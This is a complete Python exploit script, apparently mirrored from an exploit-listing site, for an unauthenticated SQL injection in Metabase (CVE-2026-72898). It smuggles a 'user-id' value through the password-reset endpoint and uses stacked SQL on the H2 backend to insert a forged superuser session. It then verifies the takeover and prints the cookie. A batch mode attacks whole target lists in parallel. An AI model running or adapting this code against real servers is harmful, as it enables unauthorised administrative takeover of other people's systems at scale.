## https://sploitus.com/exploit?id=PACKETSTORM:228296
#!/usr/bin/env python3
"""
CVE-2026-72898 - Metabase unauthenticated SQL injection -> admin session forgery
Affected: Metabase OSS 0.58.0-0.58.23, 0.59.0-0.59.20, 0.60.0-0.60.16,
0.61.0-0.61.10, 0.62.0-0.62.8, 0.63.0-0.63.4 (Enterprise 1.58.x-1.63.x)
Type: SQL Injection (unauthenticated) -> forged superuser session -> full takeover
Root cause (see EXPLOITATION.md):
POST /api/session/reset_password validates its JSON body against an OPEN Malli
map schema, so unknown keys are kept. The login! pipeline does
(merge request (authenticate ...)); on a failed reset the authenticate result
has no :user-id, so a body-supplied "user-id" survives into
(t2/select-one [:model/User ...] :id user-id). HoneySQL 2 renders a *map* value
in expression position as raw SQL, so a body value of {"raw": "<SQL>"} is
spliced unparameterised into:
SELECT id, is_active, last_login, tenant_id FROM core_user WHERE id = (<SQL>)
On the default embedded H2 application DB, stacked statements execute, so the
injected SQL can INSERT a core_session row keyed to admin (user 1) - forging an
unauthenticated superuser session in a single request.
Success is judged ONLY by step 2: GET /api/user/current with the forged cookie
returning HTTP 200 and a user object (is_superuser true for the admin). The step-1
response is always HTTP 400 and is meaningless as a signal.
Usage:
python exploit.py --host 127.0.0.1 --port 3000
python exploit.py --host https://metabase.corp.com
python exploit.py --host https://metabase.corp.com:8443 --user-id 1
python exploit.py --host 10.0.0.5 --port 3000 --payload "1) UNION SELECT 1,true,null,null --"
python exploit.py --list targets.txt --workers 20
"""
import argparse
import hashlib
import json
import secrets
import sys
import time
import uuid
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-72898"
VULN_TYPE = "SQL Injection (unauth) -> admin session forgery"
RESET_PATH = "/api/session/reset_password"
WHOAMI_PATH = "/api/user/current"
SESSION_COOKIE = "metabase.SESSION"
# Default injected SQL: forge a session row for the target user id on H2.
# {S} = new session-row id, {H} = sha512hex of the session key, {UID} = target user.
# Leading "1)" closes the parenthesis HoneySQL wraps the value in; trailing "--"
# comments out the closing ")". Stacked statements run on the default H2 backend.
DEFAULT_PAYLOAD = (
"1); INSERT INTO core_session (id, user_id, key_hashed, created_at) "
"VALUES ('{S}', {UID}, '{H}', CURRENT_TIMESTAMP); SELECT 1 --"
)
DEFAULT_TIMEOUT = 20
# --------------------------------------------------------------------------- #
# Standard output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core logic
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str = "") -> str:
scheme = "https" if use_tls else "http"
netloc = host if host.startswith(("http://", "https://")) else f"{scheme}://{host}:{port}"
return netloc.rstrip("/") + path
def _make_session_key() -> tuple:
"""Return (K, H, S): plaintext key, its sha512 hex, and a fresh row id.
K is UUID-shaped (what the cookie carries). H = sha512hex(K) is what Metabase
stores in core_session.key_hashed. S is a 12-char non-UUID row id so it never
collides with a real UUID-keyed session. All are nonced per attempt.
"""
k = str(uuid.UUID(bytes=secrets.token_bytes(16)))
h = hashlib.sha512(k.encode("ascii")).hexdigest()
s = secrets.token_hex(6) # 12 hex chars, not UUID-shaped
return k, h, s
def _forge(base: str, payload_tmpl: str, user_id: int, s_id: str, h_hash: str) -> tuple:
"""Send the injection request (step 1). Returns (status, body_text).
A strong, complexity-valid password and a non-blank token are required to pass
schema validation before the body reaches the vulnerable sink; both are random
per run and never persist (the reset always fails).
"""
payload_sql = payload_tmpl.format(S=s_id, H=h_hash, UID=user_id)
token = secrets.token_hex(4) + "_" + secrets.token_hex(4)
password = "Aa1!" + secrets.token_urlsafe(12)
body = {
"token": token,
"password": password,
"user-id": {"raw": payload_sql},
}
r = requests.post(
base + RESET_PATH,
json=body,
headers={"Content-Type": "application/json"},
timeout=DEFAULT_TIMEOUT,
verify=False,
)
return r.status_code, r.text
def _whoami(base: str, key: str) -> tuple:
"""Step 2: use the forged session cookie. Returns (status, parsed_json_or_None, text)."""
r = requests.get(
base + WHOAMI_PATH,
cookies={SESSION_COOKIE: key},
timeout=DEFAULT_TIMEOUT,
verify=False,
)
try:
return r.status_code, r.json(), r.text
except ValueError:
return r.status_code, None, r.text
def _try_exploit(host: str, port: int, use_tls: bool,
payload_tmpl: str = DEFAULT_PAYLOAD, user_id: int = 1,
path: str = "") -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
try:
base = _base_url(host, port, use_tls, path)
key, h_hash, s_id = _make_session_key()
try:
_forge(base, payload_tmpl, user_id, s_id, h_hash)
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
time.sleep(1.0) # let the injected INSERT commit before we use the cookie
status, data, _ = _whoami(base, key)
if status == 200 and isinstance(data, dict) and data.get("id") is not None:
email = data.get("email", "?")
sup = data.get("is_superuser", False)
return True, f"forged session as '{email}' (id={data.get('id')}, superuser={sup})"
return False, f"session not forged (whoami HTTP {status}) - patched or non-H2 backend"
except Exception as e: # noqa: BLE001 - probe must never raise
return False, f"error ({e.__class__.__name__})"
def exploit(host: str, port: int, use_tls: bool, payload_tmpl: str, user_id: int,
path: str = "") -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
step(1, "Generating a per-run session key and forging an admin session row via SQLi")
key, h_hash, s_id = _make_session_key()
print(f" session key (cookie value) : {key}")
print(f" core_session.key_hashed : {h_hash[:32]}...")
print(f" core_session.id (row) : {s_id}")
print(f" target user_id : {user_id}")
try:
st1, body1 = _forge(base, payload_tmpl, user_id, s_id, h_hash)
except requests.RequestException as e:
section("CONNECTION ERROR", str(e))
done(False, f"could not reach {base}{RESET_PATH} ({e.__class__.__name__})")
section("STEP 1 RESPONSE (expected HTTP 400 - meaningless as a signal)",
f"HTTP {st1}\n{body1[:500]}")
# A patched build rejects the open-map smuggling at schema validation.
if "disallowed key" in body1 or "specific-errors" in body1:
section("PATCH INDICATOR",
"Response rejected 'user-id' as a disallowed key - target strips "
"pipeline-owned keys before merge (fixed build).")
done(False, "target appears PATCHED - injected key rejected at schema validation")
step(2, "Waiting for the injected INSERT to commit, then using the forged cookie")
time.sleep(1.0)
st2, data, text2 = _whoami(base, key)
if st2 == 200 and isinstance(data, dict) and data.get("id") is not None:
pretty = json.dumps(
{k: data.get(k) for k in
("id", "email", "first_name", "last_name", "is_superuser", "is_active")},
indent=2)
section("AUTHENTICATED RESPONSE (GET /api/user/current)", pretty)
email = data.get("email", "?")
sup = data.get("is_superuser", False)
role = "SUPERUSER" if sup else "authenticated user"
done(True,
f"Unauthenticated {role} takeover - forged session as '{email}' "
f"(id={data.get('id')}, is_superuser={sup}). Cookie: {SESSION_COOKIE}={key}")
else:
section("STEP 2 RESPONSE", f"HTTP {st2}\n{text2[:400]}")
done(False,
f"forged cookie rejected (whoami HTTP {st2}) - target patched, "
f"or application DB is not H2 (stacked write did not land)")
# --------------------------------------------------------------------------- #
# Batch scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
payload_tmpl: str = DEFAULT_PAYLOAD, user_id: int = 1) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, payload_tmpl, user_id,
path if path not in ("", "/") else "")
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Entry point
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
help="Raw SQL spliced into the user-id field. Default forges an "
"admin session; use {S}/{H}/{UID} placeholders for a custom "
"session-forgery template, or a bare fragment for a raw probe.")
parser.add_argument("--user-id", type=int, default=1,
help="core_user id to forge a session for (default: 1 = first admin)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
payload_tmpl=args.payload, user_id=args.user_id)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.payload, args.user_id,
path if path not in ("", "/") else "")